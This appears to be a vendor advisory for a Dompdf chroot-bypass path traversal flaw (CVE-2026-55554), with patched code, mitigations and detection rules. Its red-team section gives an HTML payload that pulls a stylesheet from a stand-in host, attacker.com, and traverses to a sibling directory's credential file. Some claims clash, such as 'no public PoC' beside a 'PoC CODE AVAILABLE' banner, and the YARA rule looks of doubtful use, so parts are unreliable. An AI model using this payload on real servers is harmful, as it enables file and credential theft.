CVE-2026-55554
Executive Summary
CVE-2026-55554 is a path traversal vulnerability in the Dompdf PHP library (versions ≤ 3.15), which converts HTML to PDF. The flaw resides in the validateLocalUri() method, which enforces chroot boundaries using strpos() after realpath() normalization. Because realpath() strips the trailing directory separator from the chroot path, a prefix check like strpos($realfile, $chrootPath) === 0 incorrectly treats sibling directories (e.g., /var/www2, /var/www-admin, /var/www_backup) as valid under a chroot of /var/www. An attacker controlling part of the rendered HTML (e.g., via CSS @import or <link> tags) can escape the chroot and read arbitrary files on the server. This poses a high confidentiality risk. No public exploit code or proof of concept is currently available, but the vulnerability is trivially exploitable theoretically. The patch in version 3.16 adds a trailing slash to the chroot path before comparison.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Dompdf is a widely used PHP library available via Composer (Packagist). Developers using dompdf/dompdf should immediately update to version 3.16 or later. This vulnerability highlights the risk of improper chroot validation in libraries that accept user-controlled input for resource inclusion. Regularly scanning lock files (composer.lock) for vulnerable dependencies is essential.
CVSS Breakdown & Threat Level
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: None (UI:N)
- Scope: Unchanged (S:U)
- Confidentiality Impact: High (C:H)
- Integrity Impact: None (I:N)
- Availability Impact: None (A:N)
- Base Score: 7.5 (HIGH)
The vulnerability allows an unauthenticated remote attacker to read any file on the filesystem outside the intended chroot directory, such as /etc/passwd, database credentials, or application secrets.
Deep Dive & Mechanics
The validateLocalUri() method is called when Dompdf processes remote or local resources referenced in HTML (e.g., <img src="...">, CSS url(), or @import). The intended security measure restricts file access to a configured chroot directory (e.g., /var/www/html). The flawed implementation:
- Normalizes the user-supplied path and the chroot path using
realpath(), which removes trailing slashes. - Checks if the normalized file path starts with the normalized chroot path using
strpos($realfile, $chrootPath) === 0.
Because /var/www is a prefix of /var/www2/sensitive.txt, the check passes. Attackers can craft HTML that includes a path like ../../../var/www2/sensitive.txt (which resolves to /var/www2/sensitive.txt after realpath) to bypass the chroot.
Example Attack Scenario:
- Server chroot:
/var/www/html - Attacker supplies
<link rel="stylesheet" href="/../../../../etc/passwd">which, after path normalisation, becomes/etc/passwd. realpath("/etc/passwd")returns/etc/passwd.realpath("/var/www/html")returns/var/www/html.- The prefix check
strpos("/etc/passwd", "/var/www/html")returnsfalse– this would be blocked. However, the attacker can target sibling directories:- If a directory
/var/www2exists and contains sensitive files, the attacker uses a path that resolves to/var/www2/secret.conf. strpos("/var/www2/secret.conf", "/var/www")returns0, so the check passes.
- If a directory
The fixed version appends a directory separator to the chroot path before comparison, e.g., /var/www/ which ensures /var/www2 does not match.
Vulnerable vs. Patched Code
Vulnerable (≤ 3.15):
function validateLocalUri($file) {
$realfile = realpath($file);
$chrootPath = realpath($this->chroot);
if (strpos($realfile, $chrootPath) !== 0) {
// reject
}
}
Patched (≥ 3.16):
function validateLocalUri($file) {
$realfile = realpath($file);
$chrootPath = realpath($this->chroot);
// Ensure chroot path ends with a directory separator to avoid sibling matches
$chrootPathWithSlash = rtrim($chrootPath, '/') . '/';
if (strpos($realfile, $chrootPathWithSlash) !== 0) {
// reject
}
}
The fix also standardizes the chroot path by ensuring it ends with a forward slash, preventing false positive matches on sibling directories.
Exploitation & Lab Setup
Red Team (Offensive)
Since no public POC exists, craft a simple HTML payload that references a file in a sibling directory of the chroot. Assumptions:
- Target application uses Dompdf ≤3.15.
- Chroot set to
/var/www/html. - Existence of a directory
/var/www_backupcontaining/var/www_backup/db_creds.txt.
Payload:
<!DOCTYPE html>
<html>
<head>
<link rel="stylesheet" href="http://attacker.com/exploit.css">
<style>
@import url('../../../../var/www_backup/db_creds.txt');
</style>
</head>
<body>
<img src="../../../../var/www_backup/db_creds.txt">
</body>
</html>
The attacker sends this HTML to the vulnerable Dompdf instance (e.g., via a PDF generation form). The library attempts to include the resource, and the path resolves to /var/www_backup/db_creds.txt. Due to the flawed prefix check, the file is loaded and may be embedded in the generated PDF or visible in error messages.
Automation: Use Burp Suite or custom Python script to submit HTML and parse output for leaked file content.
Blue Team (Defensive)
- Update immediately to Dompdf 3.16 or upgrade to the latest version.
- WAF Rules: Block URLs containing path traversal sequences (
../) in PDF generation endpoints. - Audit Logs: Monitor for error logs containing phrases like "Failed to load resource" or unexpected file reads.
- Network Segmentation: Restrict outbound connections from the PDF generation server to prevent data exfiltration.
- Filesystem Monitoring: Use tools like
auditdor Sysmon to alert on reads from sensitive files outside the web root. - Temporary Mitigation: If patching is delayed, override the
validateLocalUrimethod with a fix that appends a trailing slash to the chroot path.
Indicators of Compromise (IOCs)
- File paths accessed: Any read of files outside the configured Dompdf chroot directory, such as:
/etc/passwd/etc/shadow/var/www_backup/*/var/www-admin/*/var/www2/*
- Log entries: Dompdf error logs showing "local file not found" or "invalid URI" with path traversal patterns.
- Network connections: Unusual outbound connections from the PDF server to attacker-controlled infrastructure (if the attacker uses
@importwith remote URLs). - PDF metadata: Generated PDFs containing non-standard fonts or images that resolve to sensitive file content.
Detection Engineering
YARA Rule
rule dompdf_path_traversal_cve_2026_55554 {
meta:
description = "Detects path traversal attempts against Dompdf chroot bypass"
author = "Valters IT"
cve = "CVE-2026-55554"
date = "2026-01-01"
strings:
$str1 = "validateLocalUri" ascii
$str2 = "strpos" ascii
$str3 = "realpath" ascii
$traversal = ".." ascii
condition:
all of ($str*) and $traversal
}
Sigma Rule
title: Dompdf Path Traversal via Chroot Prefix Bypass
id: d3f1e2c4-5a6b-7c8d-9e0f-1a2b3c4d5e6f
status: experimental
description: Detects path traversal attempts in HTTP requests to Dompdf-based endpoints
author: Valters IT
logsource:
category: webserver
product: apache
service: accesslog
detection:
selection:
cs-uri-query|contains:
- '..%2F'
- '..\\'
- '%2e%2e%2f'
- '..;/'
sc-status: 200
condition: selection
falsepositives:
- Legitimate use of relative paths in some applications
level: high
Suricata Rule
alert http any any -> $HOME_NET any (msg:"CVE-2026-55554 Dompdf chroot bypass path traversal"; flow:to_server,established; content:"%2e%2e"; http_uri; pcre:"/\\.\\.\\//i"; reference:cve,2026-55554; classtype:attempted-recon; sid:10000001; rev:1;)
Remediation & Mitigation
- Immediate Action: Upgrade to Dompdf version 3.16 or later. Run
composer update dompdf/dompdf. - Verification: Test that the chroot validation now correctly blocks sibling directories.
- Secure Configuration: Set
DOMPDF_ENABLE_REMOTEtofalseif remote resource inclusion is not required. - Principle of Least Privilege: Run the PDF generator with a limited system user and restrict filesystem permissions.
- Web Application Firewall: Deploy rules to block path traversal patterns in PDF generation requests.
- Alternate Library: If an immediate patch is impossible, consider switching to a maintained fork or alternative library.
Valters IT Senior DevSecOps & Threat Intelligence Analyst
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.